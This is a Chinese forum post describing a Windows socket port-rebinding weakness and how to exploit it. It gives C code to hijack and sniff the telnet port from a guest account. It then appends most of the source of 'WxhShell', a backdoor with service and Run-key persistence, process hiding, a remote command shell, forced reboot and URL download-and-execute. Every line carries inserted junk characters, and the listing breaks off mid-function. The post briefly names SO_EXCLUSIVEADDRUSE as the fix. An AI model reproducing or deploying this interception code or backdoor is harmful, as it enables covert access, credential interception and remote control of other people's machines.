社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17484阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -Fa98nV.WB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +qZc} 7rJF  
6,3}/hgWJ$  
  saddr.sin_family = AF_INET; x36NL^  
fYs?D+U;PF  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); p&m ^IWD  
"p`o]$Wv  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `+Xe'ey  
.c|9..Cq=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2\ ,e  
AO^]>/7ed  
  这意味着什么?意味着可以进行如下的攻击: oM2|]ew)  
*n;>p_#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n'Bmz  
+L n M\n  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) m.Twgin  
:5G$d%O=2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4"z;CGE7  
r /^'Xj'(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D|"sE>  
h2AGEg'g2[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2>ys2:z  
#*\Ry/9Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4u7Cm  
*qbRP"#[$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^b:Xo"q#H  
y3Y2 QC(  
  #include # UjEY9"M  
  #include .byc;9M%  
  #include ~U/8 @gR  
  #include    va@XbUC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?${V{=)*X'  
  int main() TdNsyr}JG  
  { x{~_/;\p3  
  WORD wVersionRequested; e{:86C!d)  
  DWORD ret; '}@e5^oL  
  WSADATA wsaData; A}gYcc85Z  
  BOOL val; AVU7WU{  
  SOCKADDR_IN saddr; $m{{,&}k  
  SOCKADDR_IN scaddr; (2cGHYU3N<  
  int err; nhp)yW  
  SOCKET s; /#@LRN<oCq  
  SOCKET sc; o}d2N/T  
  int caddsize; PVZEB  
  HANDLE mt; 9x4wk*z  
  DWORD tid;   gZ1N&/9;  
  wVersionRequested = MAKEWORD( 2, 2 ); #&}%70R)  
  err = WSAStartup( wVersionRequested, &wsaData ); >s44  
  if ( err != 0 ) { %C6|-?TAd  
  printf("error!WSAStartup failed!\n"); \f6lT3"VN  
  return -1; i'U,S`L6>  
  } ;g&7*1E  
  saddr.sin_family = AF_INET; bGhhh/n  
   3Gj(z:)b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /7.wQeL9  
is64)2F](  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); #)Ep(2  
  saddr.sin_port = htons(23); PpW A f\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RA! x  
  { L,f^mX0<  
  printf("error!socket failed!\n"); D`1I;Tb#  
  return -1; Ml'bZLwq  
  } loml.e=87  
  val = TRUE; rve7YS'  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jM{qRfOrg  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \MfR #k0  
  { '\Qf,%%.  
  printf("error!setsockopt failed!\n"); @ysJt  
  return -1; ;|Y2r^c  
  } 22l|!B%o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 2=i+L z^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 jn0t-":  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |G[{{qZM5  
]}jgB 2x7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .WxFm@]/\  
  { Bk\*0B  
  ret=GetLastError(); Rc$=+K#  
  printf("error!bind failed!\n"); "(9=h@@Y"  
  return -1; wa9'2a1?  
  } Ej-=y2j{g  
  listen(s,2); ;JMOsn}8  
  while(1) /%2:+w  
  { ?,.HA@T%  
  caddsize = sizeof(scaddr); \Mobq  
  //接受连接请求 ---Ks0\V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aa%Yk"V @  
  if(sc!=INVALID_SOCKET) U@1#!ZZ6  
  { qpluk!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \r:m({G  
  if(mt==NULL) ,{#RrF e  
  { R^n* o  
  printf("Thread Creat Failed!\n"); " 8~f  
  break; T2c_vY   
  } KfJ c  
  } 7vB9K_wCI  
  CloseHandle(mt); ctnAVm  
  } \9&YV;Ct  
  closesocket(s); :< KSf#O  
  WSACleanup(); p{\qSPK  
  return 0; ]w1BJZa36  
  }   4WBo ZJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) %!N2!IiVs  
  { iKR8^sj7S  
  SOCKET ss = (SOCKET)lpParam; g_-?h&W  
  SOCKET sc; H24ate?t,  
  unsigned char buf[4096]; @g@ fL%  
  SOCKADDR_IN saddr; f(w#LuW<  
  long num; \i&vOH'  
  DWORD val; 8u7K$Q  
  DWORD ret; -oaG|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V1UUAvN7s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   >" PqQO  
  saddr.sin_family = AF_INET; '@3a,pl  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); i-K"9z| )  
  saddr.sin_port = htons(23); N|j;=y!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) x"zjN'|  
  { Z7m GC`>  
  printf("error!socket failed!\n"); .(gT+5[  
  return -1; EU?&  
  } i9f7=-[U_  
  val = 100; YUP%K!k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i-Ge *?  
  { (50[,:#  
  ret = GetLastError(); YU ]G5\UU  
  return -1; O>tC]sm%  
  } 3. K{T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Lk8W&|;0|  
  { v"G%5pq*\  
  ret = GetLastError(); ? bUpK  
  return -1; ]%WD} 4e  
  } ]ft~OqLg!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) E'Fv *UA  
  { =2vMw]  
  printf("error!socket connect failed!\n"); /eU1(oo&`5  
  closesocket(sc); =0!\F~  
  closesocket(ss); X+'^ Sp  
  return -1; TCEXa?,L  
  } b}}1TnS)  
  while(1) ^R8U-V8:  
  { ~_# Y,)S!z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d =B@EyN  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J;Z>fAE7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yccuTQvz  
  num = recv(ss,buf,4096,0); Wzf1-0t  
  if(num>0) f3%^-Uy*b  
  send(sc,buf,num,0); +UpMMh q  
  else if(num==0) #sm_.?P  
  break; 6|"!sW`%N  
  num = recv(sc,buf,4096,0); J4*:.8Ki  
  if(num>0) w50Bq&/jX  
  send(ss,buf,num,0); fW4cHB 9|  
  else if(num==0) [iO$ c]!H  
  break; ,;+91lR3  
  } P(YG@  
  closesocket(ss); NP<F==,  
  closesocket(sc); HIWmh4o/.  
  return 0 ; zw%n!wc_\  
  } Aa\=7  
$ <>EwW  
bVAgul=__  
========================================================== %t5BB$y  
bCaPJ!ZO  
下边附上一个代码,,WXhSHELL 4 HJZ^bq9|  
+DbWMm  
========================================================== +=B}R  
sP3.s_U^  
#include "stdafx.h" _WjETyh [H  
Uf2v$Jl+Yh  
#include <stdio.h> Kn!0S<ssR  
#include <string.h> z kX-"}$8  
#include <windows.h> dbq{a  
#include <winsock2.h> k,*#I<($  
#include <winsvc.h>   L@k;L  
#include <urlmon.h> *|,ykb>  
w;SH>Ax:  
#pragma comment (lib, "Ws2_32.lib") |q.:hWYFpM  
#pragma comment (lib, "urlmon.lib") 2dd:5L,  
Jn <^Q7N  
#define MAX_USER   100 // 最大客户端连接数 7)(`  
#define BUF_SOCK   200 // sock buffer V^$rH<  
#define KEY_BUFF   255 // 输入 buffer v(Zi;?c  
{i%x s#0h  
#define REBOOT     0   // 重启  1u S>{M  
#define SHUTDOWN   1   // 关机 sG1]A:_<C  
ap$ tu3j  
#define DEF_PORT   5000 // 监听端口 YaJ{"'}  
x 1xj\O  
#define REG_LEN     16   // 注册表键长度 $qUta< o2@  
#define SVC_LEN     80   // NT服务名长度 \gI:`>- x  
&6^W% r  
// 从dll定义API :2UC{_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b-(UsY:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :kiO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 64 \5v?C  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :@@A  
1-NX>E5  
// wxhshell配置信息 MkNURy>n&  
struct WSCFG { j'40>Ct=i  
  int ws_port;         // 监听端口 <Ec)m69P  
  char ws_passstr[REG_LEN]; // 口令 Va |9)m  
  int ws_autoins;       // 安装标记, 1=yes 0=no kW2nrkF  
  char ws_regname[REG_LEN]; // 注册表键名 K%TKQ<R|  
  char ws_svcname[REG_LEN]; // 服务名 L]}RSE2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2bn@:71`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ">vYEkZ3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4wj|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hp z*jyh8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^3)2]>pW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (~pEro]?+)  
~~:8Yv[(  
}; 97))'gC  
?.Yw%{?TG  
// default Wxhshell configuration ;`PkmAg  
struct WSCFG wscfg={DEF_PORT, PSQ:'  
    "xuhuanlingzhe", `)C`_g3Ew  
    1, CpqSn/  
    "Wxhshell", $-9@/%Y  
    "Wxhshell", S. F=$z.%  
            "WxhShell Service", (jE:Q2"  
    "Wrsky Windows CmdShell Service",  ~!d)J  
    "Please Input Your Password: ", ,S0~:c:)  
  1, Mm7n?kb6  
  "http://www.wrsky.com/wxhshell.exe", %1?V6&  
  "Wxhshell.exe" kdMS"iN8x  
    }; |o=\9:wV  
!>2\OSp!  
// 消息定义模块 v{{2<,l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6u, 0y$3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "QFADk1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AB &wn>q  
char *msg_ws_ext="\n\rExit."; ;{q) |GRF  
char *msg_ws_end="\n\rQuit."; q>:&xR"ra  
char *msg_ws_boot="\n\rReboot..."; rD U6 5j  
char *msg_ws_poff="\n\rShutdown..."; 5<?c_l9X^  
char *msg_ws_down="\n\rSave to "; rWfurB5f  
T!xy^n]}  
char *msg_ws_err="\n\rErr!"; [`-O-?=  
char *msg_ws_ok="\n\rOK!"; 6BN(^y#-X  
kbT-Oz  2  
char ExeFile[MAX_PATH]; pdha" EV  
int nUser = 0; OUk5c$M(  
HANDLE handles[MAX_USER]; IZv, Wo  
int OsIsNt; s>``- ]3  
= 4WZr  
SERVICE_STATUS       serviceStatus; Nl<,rD+KSD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; No&[ \;  
ApJf4D<V  
// 函数声明 xOyL2   
int Install(void); P5xmLefng  
int Uninstall(void); wYMX1=  
int DownloadFile(char *sURL, SOCKET wsh); jzA8f+:q  
int Boot(int flag); r\ Yur  
void HideProc(void); f uN XY-;  
int GetOsVer(void); 34^Cfh  
int Wxhshell(SOCKET wsl); 9c % Tv  
void TalkWithClient(void *cs); ^t ldm7{_  
int CmdShell(SOCKET sock); Bpo68%dx89  
int StartFromService(void); Cl.T'A$  
int StartWxhshell(LPSTR lpCmdLine); {5IG3'  
Y4qyy\}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); jsaCnm>&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [gdPHXs  
BI^]juH-c  
// 数据结构和表定义 Uu:v4a  
SERVICE_TABLE_ENTRY DispatchTable[] = OHnjI> /  
{ \Y[)bo6s  
{wscfg.ws_svcname, NTServiceMain}, (4f9wrK  
{NULL, NULL} "3oU (RA  
}; 7-IeJ6,D  
'I>#0VRr  
// 自我安装 sK/"  
int Install(void) i6:yNb ='  
{ <a[8;YQC  
  char svExeFile[MAX_PATH]; XK-x*|  
  HKEY key; ,wo"(E!4e  
  strcpy(svExeFile,ExeFile); rPpAg  
+mOtYf W  
// 如果是win9x系统,修改注册表设为自启动 [IBk-opap  
if(!OsIsNt) { KL"L65g&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G5f57F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _:p_#3s$  
  RegCloseKey(key); }Y ];ccT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AR6vc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p}7&x[fTLk  
  RegCloseKey(key); l{o{=]x1  
  return 0; K/+C6Y?  
    } 10IPq#Jj  
  } c+/C7C o  
} iQ"F`C  
else { ~WXxVm*@  
}V;]c~Q/H  
// 如果是NT以上系统,安装为系统服务 K.1yncS^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); slfVQ809  
if (schSCManager!=0) (b}7Yb]#c  
{ H^:|`T|,  
  SC_HANDLE schService = CreateService T5_Cu9>ax  
  ( RAbq_^Q  
  schSCManager, %<|KJb4?  
  wscfg.ws_svcname, m e{SVG{  
  wscfg.ws_svcdisp, HWOH8q{f!  
  SERVICE_ALL_ACCESS, K61os&K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N4jLbnA  
  SERVICE_AUTO_START, wR$8drn]Rq  
  SERVICE_ERROR_NORMAL, Ka\b_P&  
  svExeFile, u*N8s[s'  
  NULL, !z 5d+ M  
  NULL, wu&7#![,  
  NULL, *v/*_6f*  
  NULL, :]Qx T8B  
  NULL oa !P]r  
  ); {=7i}xY]T  
  if (schService!=0)  Bt3=/<.\  
  { |raQ]b@t&  
  CloseServiceHandle(schService); beZ| i 1:  
  CloseServiceHandle(schSCManager); n`Iy7X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3*2pacHpE  
  strcat(svExeFile,wscfg.ws_svcname); " <a|Q,!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s2=X>,kz?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S9oGf  
  RegCloseKey(key); ]X|G+[Ujv  
  return 0; "]Td^Nxi  
    } H H3  
  } >{Z=cv/6o  
  CloseServiceHandle(schSCManager); ZhaOH5{9  
} j!7Uj]  
} ;}'<`(f&nX  
-V<"Ay  
return 1; j)qh>y)  
} {U-EBXV  
Mu%,@?zM^/  
// 自我卸载 Fsj[JE  
int Uninstall(void) dwMwd@*j  
{ x's-UO"^  
  HKEY key; UdJV;T'rm  
|h/2'zd^-  
if(!OsIsNt) { ,0~TvJS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SH|$Dg  
  RegDeleteValue(key,wscfg.ws_regname); /z:K#  
  RegCloseKey(key); kq0m^`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  +'.Q-  
  RegDeleteValue(key,wscfg.ws_regname); hj,x~^cS  
  RegCloseKey(key);  |?A-?-  
  return 0; F| Q#KwN  
  } e|yuPd  
} I0RWdOK8K  
} *$D-6}Oay  
else { Ngnjr7Q={T  
nB& 8=.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5wX>PJS  
if (schSCManager!=0) `,d7_#9'  
{ ?s33x#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gwNkjI= ,  
  if (schService!=0) pj]<i.p  
  { +(%[fW  
  if(DeleteService(schService)!=0) { 3: Uik  
  CloseServiceHandle(schService); O_^h 7   
  CloseServiceHandle(schSCManager); >O~5s.1u  
  return 0; {H2i+"cF  
  } Y\sjm]_  
  CloseServiceHandle(schService); @1@WB ]mQQ  
  } [=+/  
  CloseServiceHandle(schSCManager); ^&HYnwk  
} e,8-P-h~T  
} cC.DBYV+-  
R 0}%   
return 1; 1[^d8!U  
} dZmq  
y>8?RX8  
// 从指定url下载文件 q3`t0eLZ  
int DownloadFile(char *sURL, SOCKET wsh) o:<3n,T  
{ ^dv>n]?  
  HRESULT hr; 7<D_ h/WV  
char seps[]= "/"; y{JkY\g  
char *token; F}>`3//u  
char *file; BYU.ptiJJ  
char myURL[MAX_PATH]; [_n|n"M  
char myFILE[MAX_PATH]; G2D<LRWt4  
$ cSZX#\  
strcpy(myURL,sURL); n4johV.#  
  token=strtok(myURL,seps); ?f..N,s  
  while(token!=NULL) Kq$1lPI  
  { 7ZZt|bl  
    file=token; K#r` ^aUc  
  token=strtok(NULL,seps); =Frr#t!(w0  
  } 's<}@-]  
h# 8b#  
GetCurrentDirectory(MAX_PATH,myFILE); ty>O}9%  
strcat(myFILE, "\\"); YP l{5 =  
strcat(myFILE, file); x{$NstGB  
  send(wsh,myFILE,strlen(myFILE),0); qv\yQ&pj  
send(wsh,"...",3,0); v*3:8Y,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uE(w$2Wi  
  if(hr==S_OK) 1CbC|q  
return 0; whCv9)x  
else v(`$%V.  
return 1; ?9+;[X  
UlrY  
} ikQ2x]Sp  
14RL++  
// 系统电源模块 pjFgIG2=9  
int Boot(int flag) 9[M u   
{ 16vfIUtb  
  HANDLE hToken; f$|v  
  TOKEN_PRIVILEGES tkp; xh0!H| R  
uypD`%pC  
  if(OsIsNt) { LKa_ofY  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P6Ei!t,>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x% 1Rp[  
    tkp.PrivilegeCount = 1; _qV_(TpS+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V QI7lJV"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;G$FLL1   
if(flag==REBOOT) { yrw!b\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #'qW?8d}  
  return 0; 1a<~Rmcil  
} 2 O%UT?R  
else { dImm},  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #7{a~-S  
  return 0; w]_a0{Uh  
} JS9q'd  
  } 8CCA/6  
  else { O);V{1P  
if(flag==REBOOT) { i&Ea@b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eo!z>9#.  
  return 0; NQmDm!-4  
} zx27aZ[  
else { 3?:}lY<,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Eq t61O$x  
  return 0; dSbV{*B;>  
} -t]0DsPg  
} #/T)9=m  
<3HJkcYGz  
return 1; u|e2T@t=  
} Oaui@q  
y}A-o_u@cD  
// win9x进程隐藏模块 W8)GT`\  
void HideProc(void) f&:g{K  
{ qp Z ".  
5gGr|d|(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j.o)!S A  
  if ( hKernel != NULL ) 9E5B.qlw$l  
  { FE`J.aw^X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Lxl?6wZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /=%4gWtr  
    FreeLibrary(hKernel); nP.d5%E  
  } q07>FW R  
,M9'S;&^  
return; ]Sh&8 #  
} ][3 "xP  
ctf'/IZ5  
// 获取操作系统版本 - 0zo>[c/p  
int GetOsVer(void) $/Mk.(3'P  
{ F)C8LH  
  OSVERSIONINFO winfo; gN*8 zui  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g& {YHq^+  
  GetVersionEx(&winfo); {z w#My   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gCmGFQE-f  
  return 1; V5=Injs *  
  else bbz86]AhY  
  return 0; OnG?@sW+4!  
} LTxOq|/Cq  
d97wiE/i<  
// 客户端句柄模块 7\.5G4dr%  
int Wxhshell(SOCKET wsl) [* Lh4K  
{ S5j#&i  
  SOCKET wsh; =uHTpHR  
  struct sockaddr_in client; Xr@0RFdr[  
  DWORD myID; jk~< si  
Q9( eH2=  
  while(nUser<MAX_USER) kY|<1Ht  
{ {2!.3<#  
  int nSize=sizeof(client); 17-K~ybc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mV-MJ$3r  
  if(wsh==INVALID_SOCKET) return 1; Ba"Z^(:  
)pg?ZM9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lm$T`:c  
if(handles[nUser]==0) dme_Ivt  
  closesocket(wsh); *h`zV<j  
else ,$*$w<  
  nUser++; 'E9\V\bi  
  } .^/OL}/~<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (u *-(  
'C(YUlT2?P  
  return 0; )F:hv[iv  
} GZse8ng  
K1Uur>Pk%  
// 关闭 socket 1g *4e  
void CloseIt(SOCKET wsh) J 9z\ qTI  
{ 0 ~VniF^  
closesocket(wsh); ^*Sb)tu\ W  
nUser--; j#29L"  
ExitThread(0); gP`8hNwR  
} X[R/j*K  
DEs/?JZG  
// 客户端请求句柄 ,2"-G";!f\  
void TalkWithClient(void *cs) k5((@[  
{ 7Kfh:0Ihhy  
U\+o$mU^  
  SOCKET wsh=(SOCKET)cs; 9mr99 tA  
  char pwd[SVC_LEN]; }=NjFK_6  
  char cmd[KEY_BUFF]; lV3\5AEW  
char chr[1]; XJ.vj+XXb  
int i,j; z`lDD  
Wfp[)MM;  
  while (nUser < MAX_USER) { L\pe  
<`BUk< uf#  
if(wscfg.ws_passstr) { KATt9ox@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TwY]c<t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4~D?F'o  
  //ZeroMemory(pwd,KEY_BUFF); d&F8nBIM5  
      i=0; ~i(X{ ^,3  
  while(i<SVC_LEN) { k5(@n>p  
TC'tui  
  // 设置超时 Q 1g@FsW&U  
  fd_set FdRead; M*|x,K=U  
  struct timeval TimeOut; Ue! &Vm  
  FD_ZERO(&FdRead); 'RXh E  
  FD_SET(wsh,&FdRead); i&RPY bT{  
  TimeOut.tv_sec=8; K^EW*6vB8O  
  TimeOut.tv_usec=0; Ao(Xz$cQfW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sT|8a  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IF<pT)  
UE5T%zd/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %+qD-{&  
  pwd=chr[0]; 525W; mu{  
  if(chr[0]==0xd || chr[0]==0xa) { (z#qkKL{^  
  pwd=0; >HXT:0  
  break; I!~5.  
  } |X0h-kX4  
  i++; >2TDYB|;  
    } ^ 14U]<  
uPhFBD7  
  // 如果是非法用户,关闭 socket > T=($:n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vdV@G`)HPr  
} Z  G3u  
xx_]e4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g?qm >X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1ve %xF  
HTA Jn_  
while(1) { e<#t]V  
(w}iEm\b  
  ZeroMemory(cmd,KEY_BUFF); )[i0~o[  
W$=Ad *  
      // 自动支持客户端 telnet标准   8HDYA$L  
  j=0; ( $A0b  
  while(j<KEY_BUFF) { }KcvNK (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1^jGSB.%A  
  cmd[j]=chr[0]; yHsmX2s  
  if(chr[0]==0xa || chr[0]==0xd) { ,3=|a|p  
  cmd[j]=0; },lHa!<^  
  break; 8>%:MS"  
  } :Xq qhG  
  j++; W1fEUVj  
    } @@M 2s(  
hCS|(8g  
  // 下载文件 4$ya$Y%s%  
  if(strstr(cmd,"http://")) { Js.2R$o =*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  Y[#EFM  
  if(DownloadFile(cmd,wsh)) wylbs@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qj/ pd 7\  
  else ?RNm8,M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &NM.}f  
  } DryN}EMOKD  
  else { MEf`&<t  
j51Wod<[  
    switch(cmd[0]) { >+ZBQ]~  
  FxeDjAP  
  // 帮助 e)"] H*  
  case '?': { ?NkweT(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); l];w,(u{  
    break; q$x$ 4  
  } ,rc?,J1l  
  // 安装 o."k7fLB  
  case 'i': { >>22:JI`  
    if(Install()) kV9S+ME  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dNK Q&TC  
    else Y>W$n9d&G2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o}O"  
    break; oe$&X&  
    } ?tx%K U\3  
  // 卸载 >U .  
  case 'r': { Ad$CHx-  
    if(Uninstall()) 7/C,<$Ep  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Y| y0iK  
    else 4IfOvAN%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RrB)u?  
    break; e1ts/@V  
    } trlZ^K  
  // 显示 wxhshell 所在路径 :4JqT|nS  
  case 'p': { =Y!x  
    char svExeFile[MAX_PATH]; 4 JC*c  
    strcpy(svExeFile,"\n\r"); PW7{,1te,  
      strcat(svExeFile,ExeFile); jT/}5\  
        send(wsh,svExeFile,strlen(svExeFile),0); }(tuBJ9  
    break; nwSujD  
    } $$'a  
  // 重启 "  ,k(*  
  case 'b': { G4O $gg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B6qM0QW  
    if(Boot(REBOOT)) P5;n(E(19  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q5%$P\  
    else { : :?,ZA  
    closesocket(wsh); I!LSD i3  
    ExitThread(0); dRC RB  
    } wMc/O g  
    break; 4PdJ  
    } p=13tQS<  
